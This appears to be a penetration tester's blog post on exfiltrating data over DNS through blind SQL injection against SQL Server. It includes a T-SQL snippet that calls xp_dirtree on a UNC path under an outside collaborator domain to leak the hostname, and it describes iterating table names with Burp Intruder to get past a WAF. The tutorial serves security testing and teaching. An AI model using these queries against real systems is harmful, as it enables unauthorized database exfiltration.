Did you know you can use DNS queries to exfiltrate data from a database via SQLi? No? Then continue reading! I’ll walk through some techniques you can use to enumerate and exfiltrate data from a DB server via blind SQLi.

On a recent web app test, I encountered a situation where I had identified a potential SQLi. Burp confirmed the SQL injection vulnerability via DNS interaction using the Collaborator service. I tried to do some additional enumeration and exfiltration using SQLmap, but I wasn’t able to get this working right away due to a WAF blocking requests due to how SQLmap was structuring the headers. I needed another way to validate the SQLi and show that data could be recovered from the server.

Burp scanner SQLi result, detected using collaborator

Burp scanner SQLi result, detected using collaborator

In a previous blog, I talked about capturing SQL Server user hashes via SQLi using xp_dirtree. I tried the same approach, but was unsuccessful due to egress filtering on the client’s firewalls. In that previous article, I also referenced a blog post by GracefulSecurity. Once again, this blog came in handy.

Even if there’s egress filtering in place, xp_dirtree can still be used to exfiltrate data from a network. This is due to the fact that the SQL server has to perform a DNS lookup on the target of the xp_dirtree operation. Data can be added as the host or subdomain part of a domain name. For example, if I set up a DNS server at collaborator.redsiege.net, I can force xp_dirtree to perform a DNS lookup on data.collaborator.redsiege.net and my DNS server will receive the query for that host, allowing me to extract the data from the request. Let’s look at this in more detail.

Consider the following code:

DECLARE @data varchar(1024);
SELECT @data = (SELECT HOST_NAME()); 
EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');

In this SQL query, we declare a variable named data, we populate that variable with the results of SELECT HOST_NAME(), and then attempt an xp_dirtree on \\hostname.collaborator.redsiege.net.

SQL query to retrieve hostname

SQL query to retrieve hostname

My test system is named INTRUDER. Performing this query on my test system caused a lookup for INTRUDER.collaborator.redsiege.net, as seen below.

Hostname Enumeration

Hostname Received via DNS Query

At this point, I knew I had a reliable way to exfiltrate data, even if I needed to do it somewhat manually. Of course, for this demo I’m showing results using the SQL Server Management Studio to issue queries, but in practice this is no different that doing it through SQLi. The only difference is the need to URL-encode parts of the query.

Sometimes we take for granted just how much work SQLmap is doing for us. Consider the process of enumerating table names from a database. In the example below you’ll find a query that returns a table name from the Northwind database.

Table Name Query

Table Name Query

What’s going on in this query? You’ll notice that there are 2 SELECT statements that make up @data. The inner SELECT statement, which is called out in the screenshot above, returns the top 10 results of table names from the Northwind database, sorted in ascending alphabetical order. The outer (first) SELECT statement then selects the first result of this result set sorted in descending alphabetical order. The result of this query is that we retrieve the name of the 10th table in the Northwind database.  Confused?  Let’s break it down.

Below we have the inner SELECT statement. As you can see, it returns 10 results, sorted in ascending alphabetical order.

Inner SELECT returns 10 results

Inner SELECT returns 10 results

As you can see below, the full query returns only the 10th table name. The reason this works is because we first return 10 results, sorted in ascending alphabetical order, and then we perform a second SELECT where only the 1st result, sorted in descending alphabetical order, is returned. This means we return only the 10th result from the list of table names.

Full Query Returns Only 10th Result

Full Query Returns Only 10th Result

Knowing this, we can use Intruder to iterate over all possible table names by simply modifying the second SELECT statement and increasing the number of results in each request.

Using Intruder to Iterate Table Names

Using Intruder to Iterate Table Names

You now have another tool in your kit if you encounter a blind SQLi on an engagement and SQLmap isn’t working for you. Here are a few links I found helpful going through this process: